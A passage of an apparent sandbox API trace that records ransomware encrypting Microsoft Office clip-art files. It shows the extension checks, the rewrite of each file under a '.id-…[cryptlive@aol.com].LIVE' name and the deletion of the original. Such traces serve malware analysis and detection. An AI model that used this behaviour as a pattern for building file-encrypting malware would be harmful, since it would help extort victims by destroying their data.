lpString2="_.WMF") returned -1 [0137.709] lstrlenW (lpString=".ppt") returned 4 [0137.709] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0137.709] lstrlenW (lpString=".zip") returned 4 [0137.709] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.709] lstrlenW (lpString=".rar") returned 4 [0137.709] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.709] lstrlenW (lpString=".bz2") returned 4 [0137.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.709] lstrlenW (lpString=".7z") returned 3 [0137.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0137.709] lstrlenW (lpString=".dbf") returned 4 [0137.709] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0137.709] lstrlenW (lpString=".1cd") returned 4 [0137.709] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0137.709] lstrlenW (lpString=".jpg") returned 4 [0137.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0137.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0137.710] lstrlenW (lpString=".doc") returned 4 [0137.710] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.710] lstrlenW (lpString=".docx") returned 5 [0137.710] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.710] lstrlenW (lpString=".pdf") returned 4 [0137.710] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.710] lstrlenW (lpString=".xls") returned 4 [0137.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.710] lstrlenW (lpString=".xlsx") returned 5 [0137.710] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.710] lstrlenW (lpString=".ppt") returned 4 [0137.710] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0137.710] lstrlenW (lpString=".zip") returned 4 [0137.710] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.710] lstrlenW (lpString=".rar") returned 4 [0137.710] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.710] lstrlenW (lpString=".bz2") returned 4 [0137.710] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.710] lstrlenW (lpString=".7z") returned 3 [0137.710] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0137.710] lstrlenW (lpString=".dbf") returned 4 [0137.710] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0137.710] lstrlenW (lpString=".1cd") returned 4 [0137.710] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0137.710] lstrlenW (lpString=".jpg") returned 4 [0137.710] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.710] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0137.711] lstrlenW (lpString="BL00526_.WMF") returned 12 [0137.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0137.711] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=27552) returned 1 [0137.711] CloseHandle (hObject=0x1dc) returned 1 [0137.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x20 [0137.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0137.712] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.712] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0137.712] GetLastError () returned 0x0 [0137.712] ReadFile (in: hFile=0x1dc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x6ba0, lpOverlapped=0x0) returned 1 [0137.714] WriteFile (in: hFile=0x1f8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x6bb0, lpOverlapped=0x0) returned 1 [0137.715] ReadFile (in: hFile=0x1dc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0137.716] WriteFile (in: hFile=0x1f8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0137.716] SetEndOfFile (hFile=0x1f8) returned 1 [0137.716] CloseHandle (hObject=0x1f8) returned 1 [0137.716] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.716] SetEndOfFile (hFile=0x1dc) returned 1 [0137.718] CloseHandle (hObject=0x1dc) returned 1 [0137.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0137.719] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf")) returned 1 [0137.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0137.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0137.719] lstrlenW (lpString=".doc") returned 4 [0137.719] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.719] lstrlenW (lpString=".docx") returned 5 [0137.719] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.719] lstrlenW (lpString=".pdf") returned 4 [0137.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.719] lstrlenW (lpString=".xls") returned 4 [0137.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.719] lstrlenW (lpString=".xlsx") returned 5 [0137.719] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.720] lstrlenW (lpString=".ppt") returned 4 [0137.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0137.720] lstrlenW (lpString=".zip") returned 4 [0137.720] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.720] lstrlenW (lpString=".rar") returned 4 [0137.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.720] lstrlenW (lpString=".bz2") returned 4 [0137.720] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.720] lstrlenW (lpString=".7z") returned 3 [0137.720] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0137.720] lstrlenW (lpString=".dbf") returned 4 [0137.720] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0137.720] lstrlenW (lpString=".1cd") returned 4 [0137.720] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0137.720] lstrlenW (lpString=".jpg") returned 4 [0137.720] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0137.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0137.720] lstrlenW (lpString=".doc") returned 4 [0137.720] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.720] lstrlenW (lpString=".docx") returned 5 [0137.720] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.720] lstrlenW (lpString=".pdf") returned 4 [0137.720] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.720] lstrlenW (lpString=".xls") returned 4 [0137.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.720] lstrlenW (lpString=".xlsx") returned 5 [0137.720] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.720] lstrlenW (lpString=".ppt") returned 4 [0137.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0137.721] lstrlenW (lpString=".zip") returned 4 [0137.721] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.721] lstrlenW (lpString=".rar") returned 4 [0137.721] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.721] lstrlenW (lpString=".bz2") returned 4 [0137.721] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.721] lstrlenW (lpString=".7z") returned 3 [0137.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0137.721] lstrlenW (lpString=".dbf") returned 4 [0137.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0137.721] lstrlenW (lpString=".1cd") returned 4 [0137.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0137.721] lstrlenW (lpString=".jpg") returned 4 [0137.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.721] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0137.721] lstrlenW (lpString="BL00648_.WMF") returned 12 [0137.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0137.722] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=11500) returned 1 [0137.722] CloseHandle (hObject=0x1dc) returned 1 [0137.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x20 [0137.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0137.722] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.722] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0137.723] GetLastError () returned 0x0 [0137.723] ReadFile (in: hFile=0x1dc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x2cec, lpOverlapped=0x0) returned 1 [0137.797] WriteFile (in: hFile=0x1f8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x2cf0, lpOverlapped=0x0) returned 1 [0138.221] ReadFile (in: hFile=0x1dc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0138.221] WriteFile (in: hFile=0x1f8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0138.221] SetEndOfFile (hFile=0x1f8) returned 1 [0138.260] CloseHandle (hObject=0x1f8) returned 1 [0139.086] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.086] SetEndOfFile (hFile=0x1dc) returned 1 [0139.088] CloseHandle (hObject=0x1dc) returned 1 [0139.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.088] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf")) returned 1 [0139.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0139.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0139.090] lstrlenW (lpString=".doc") returned 4 [0139.090] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.090] lstrlenW (lpString=".docx") returned 5 [0139.090] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.090] lstrlenW (lpString=".pdf") returned 4 [0139.090] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.090] lstrlenW (lpString=".xls") returned 4 [0139.090] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.090] lstrlenW (lpString=".xlsx") returned 5 [0139.090] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.090] lstrlenW (lpString=".ppt") returned 4 [0139.090] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0139.090] lstrlenW (lpString=".zip") returned 4 [0139.090] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.090] lstrlenW (lpString=".rar") returned 4 [0139.090] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.090] lstrlenW (lpString=".bz2") returned 4 [0139.090] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.090] lstrlenW (lpString=".7z") returned 3 [0139.090] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0139.090] lstrlenW (lpString=".dbf") returned 4 [0139.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0139.090] lstrlenW (lpString=".1cd") returned 4 [0139.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0139.090] lstrlenW (lpString=".jpg") returned 4 [0139.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0139.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0139.090] lstrlenW (lpString=".doc") returned 4 [0139.090] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.091] lstrlenW (lpString=".docx") returned 5 [0139.091] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.091] lstrlenW (lpString=".pdf") returned 4 [0139.091] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.091] lstrlenW (lpString=".xls") returned 4 [0139.091] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.091] lstrlenW (lpString=".xlsx") returned 5 [0139.091] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.091] lstrlenW (lpString=".ppt") returned 4 [0139.091] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0139.091] lstrlenW (lpString=".zip") returned 4 [0139.091] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.091] lstrlenW (lpString=".rar") returned 4 [0139.091] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.091] lstrlenW (lpString=".bz2") returned 4 [0139.091] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.091] lstrlenW (lpString=".7z") returned 3 [0139.091] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0139.091] lstrlenW (lpString=".dbf") returned 4 [0139.091] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0139.091] lstrlenW (lpString=".1cd") returned 4 [0139.091] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0139.091] lstrlenW (lpString=".jpg") returned 4 [0139.091] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.091] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0139.091] lstrlenW (lpString="BS00078_.WMF") returned 12 [0139.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0139.187] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1444) returned 1 [0139.187] CloseHandle (hObject=0x36c) returned 1 [0139.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x20 [0139.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0139.649] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.649] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0139.649] GetLastError () returned 0x0 [0139.649] ReadFile (in: hFile=0x1dc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x5a4, lpOverlapped=0x0) returned 1 [0139.676] WriteFile (in: hFile=0x1e4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0139.677] ReadFile (in: hFile=0x1dc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.677] WriteFile (in: hFile=0x1e4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.677] SetEndOfFile (hFile=0x1e4) returned 1 [0139.677] CloseHandle (hObject=0x1e4) returned 1 [0139.677] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.677] SetEndOfFile (hFile=0x1dc) returned 1 [0139.679] CloseHandle (hObject=0x1dc) returned 1 [0139.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.680] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf")) returned 1 [0139.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0139.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0139.681] lstrlenW (lpString=".doc") returned 4 [0139.681] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.681] lstrlenW (lpString=".docx") returned 5 [0139.681] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.681] lstrlenW (lpString=".pdf") returned 4 [0139.681] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.681] lstrlenW (lpString=".xls") returned 4 [0139.681] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.681] lstrlenW (lpString=".xlsx") returned 5 [0139.681] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.681] lstrlenW (lpString=".ppt") returned 4 [0139.681] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0139.681] lstrlenW (lpString=".zip") returned 4 [0139.681] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.681] lstrlenW (lpString=".rar") returned 4 [0139.681] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.682] lstrlenW (lpString=".bz2") returned 4 [0139.682] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.682] lstrlenW (lpString=".7z") returned 3 [0139.682] 